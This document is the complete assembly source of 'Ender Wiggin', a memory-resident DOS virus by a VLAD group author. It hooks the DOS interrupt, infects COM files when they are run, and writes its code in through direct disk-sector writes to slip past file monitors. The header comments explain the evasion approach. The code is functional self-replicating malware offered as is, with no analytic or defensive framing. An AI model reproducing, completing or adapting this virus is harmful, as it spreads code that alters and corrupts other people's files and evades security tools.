; Ender Wiggin, a cluster-thingy by Rhincewind [Vlad]
;
; This virus infects COM files using sector reads and writes, but not using
; it's own file engine. Target files are opened using DOS. After that
; the SFT's are queried which contain all the cluster numbers relevant
; to infecting the file, being the first and last cluster. To get the last
; cluster number you must read from that cluster which will enter the number
; into the SFT's current cluster field. Infection is very straightforward
; otherwise. This hybrid file/sector-level infection evades most of the
; active file monitors, and thus a destructive stealth virus of this type
; is a possible threat especially since directory stealthing can now be
; done without risk or additional checks. Luckily, the larger the virus
; gets, the fewer files it will be able to infect.
; Setting the file's date/time to what it was in the first place forces a 
; directory entry rewrite which is vital to the infection.

                .model tiny
                .code
                .286
                org 100h
parasize        equ (endmem-start)
start:          push 100h
                mov ax, 3521h
                int 21h
                call next
next:           pop bp
                cmp ax, 2135h
                jz exit_loader
                mov [bp+(int21offset-next)],bx
                mov [bp+(int21seg-next)],es
                mov ah, 30h
                int 21h
                cmp al,4
                jb exit_loader
                push cs
                pop es
                mov ah, 4ah
                mov bx,-1
                push ax
                int 21h
                pop ax
                sub bx, parasize+2
                int 21h
                xor di,di
nextpsp:        cmp bx, word ptr ds:[di+16h]
                mov bx, word ptr ds:[di+16h]
                mov ds,bx
                jnz nextpsp
found_cmd:      mov ah, 50h
                int 21h
                mov ah, 48h
                mov bx,parasize+1
                int 21h
                sub ax,10h
                mov es,ax
                mov ah, 50h
                mov bx,cs
                int 21h
                push cs
                pop ds
                lea si, [bp-(next-start)]
                mov di,100h
                mov cx, endcopy-start
                rep movsb
                push es
                pop ds
                mov ax, 2521h
                mov dx, offset int21
                int 21h
exit_loader:    push cs
                push cs
                pop es
                pop ds
                lea si, [bp+(three_bytes-next)]
                mov di, 100h
                movsw
                movsb
                xor ax,ax
                xor bx,bx
                mov cx,00ffh
                cwd
                mov bp,ds
                xor si,si
                mov di,sp
                scasw
                ret
int21:          cmp ax, 3521h
                jnz no_residency_check
                pushf
                call dword ptr cs:int21offset
                xchg ah,al
                iret
no_residency_check:
                cmp ax, 4b00h
                jz infect_me_baby
                db 0eah
int21offset     dw ?
int21seg        dw ?
                db '-Ender Wiggin, by Rhince/VLAD-'
infect_me_baby: push ds
                push es
                pusha                
                mov ax, 3d00h
                int 21h
                jnc open_ok
                jmp jmp_int21
open_ok:        push ax
                xchg ax,bx
                mov ax, 440ah
                int 21h
                test dh,10000000b
                jz local_handle
                jmp close_exit
local_handle:   push cs
                pop es
                mov ah,60h
                mov si,dx
                mov di, offset endcopy
                int 21h
                push word ptr es:[di]
                push cs
                pop ds
                mov ax, 4202h
                mov cx,-1
                mov dx,cx
                int 21h
                mov ah,3fh
                neg cx
                mov dx, offset clust_read
                int 21h
                mov ax, 1220h
                int 2fh
                mov ax, 1216h
                mov bl, byte ptr es:[di]
                int 2fh
                mov fill_cs,cs
                pop dx
                sub dl,'A'-1
                mov ah, 32h
                int 21h
                mov ax, word ptr ds:[bx+0bh]
                mov cs:data_sec,ax
                mov cl, byte ptr ds:[bx+4]
                inc cl
                mov cs:sec_clust,cl
                dec dl
                mov bp,dx
                mov ax, word ptr ds:[bx+02]
                xor ch,ch
                mul cx
                cmp ax, 512*8
                ja go_close_exit
                cmp word ptr es:[di+13h],dx
                jnz go_close_exit
                xchg ax,bx
                mov ax, word ptr es:[di+11h]
                div bx
                push dx
                neg dx
                add dx,bx                     
                cmp dx, (endcopy-start)
                jb go_close_exit
                push cs
                pop ds
                mov ax, word ptr es:[di+0bh]
                call calc_sec
                int 25h
                popf
                pop dx
                mov ax, word ptr ds:[bx+(clust_read-secdata)]
                cmp ax, 'ZM'
                jz go_close_exit
                cmp ax, 'MZ'
                jnz no_close_exit
go_close_exit:  jmp close_exit
no_close_exit:  mov word ptr ds:[bx+(three_bytes-secdata)],ax
                mov ax, word ptr ds:[bx+(clust_read-secdata)+1]
                mov byte ptr ds:[bx+(three_bytes-secdata)+2],ah
                add ax, (endcopy-start)
                mov cx, word ptr es:[di+11h]
                sub cx,3
                cmp ax,cx
                jz go_close_exit
                mov byte ptr ds:[bx+(clust_read-secdata)],0e9h
                mov word ptr ds:[bx+(clust_read-secdata)+1],cx
                push dx
                call movez
                int 26h
                popf
                mov ax, word ptr es:[di+35h]
                call calc_sec
                int 25h
                popf
                mov dx,bx
                pop bx
                add bx, offset clust_read
                mov si, 100h
                mov cx, (endcopy-start)
copyloop:       lodsb
                mov byte ptr ds:[bx],al
                inc bx
                loop copyloop
                mov bx,dx
                call movez
                int 26h
                popf
                add word ptr es:[di+11h],(endcopy-start)
                adc word ptr es:[di+13h],0
close_exit:     pop bx
                mov ax, 5700h
                int 21h
                mov ax, 5701h
                int 21h
                mov ah, 3eh
                int 21h
jmp_int21:      popa
                pop es
                pop ds
                jmp dword ptr cs:int21offset
calc_sec:       mov bx, offset secdata
                dec ax
                dec ax
                mul word ptr ds:[sec_clust]
                add ax, data_sec
                adc dx, 0
                mov word ptr ds:[bx],ax
                mov word ptr ds:[bx+2],dx
movez:          mov bx, offset secdata
                xor cx,cx
                dec cx
                mov ax,bp
                ret
three_bytes     db 90h, 0cdh, 20h
secdata         dd 0
sec_clust       db 1                
                db 0
offzet          dw offset clust_read
endcopy:
fill_cs         dw ?    ;Doh I want relocation items.
data_sec        dw ?
clust_read:     db 512*8 dup (?)
endmem:
                end start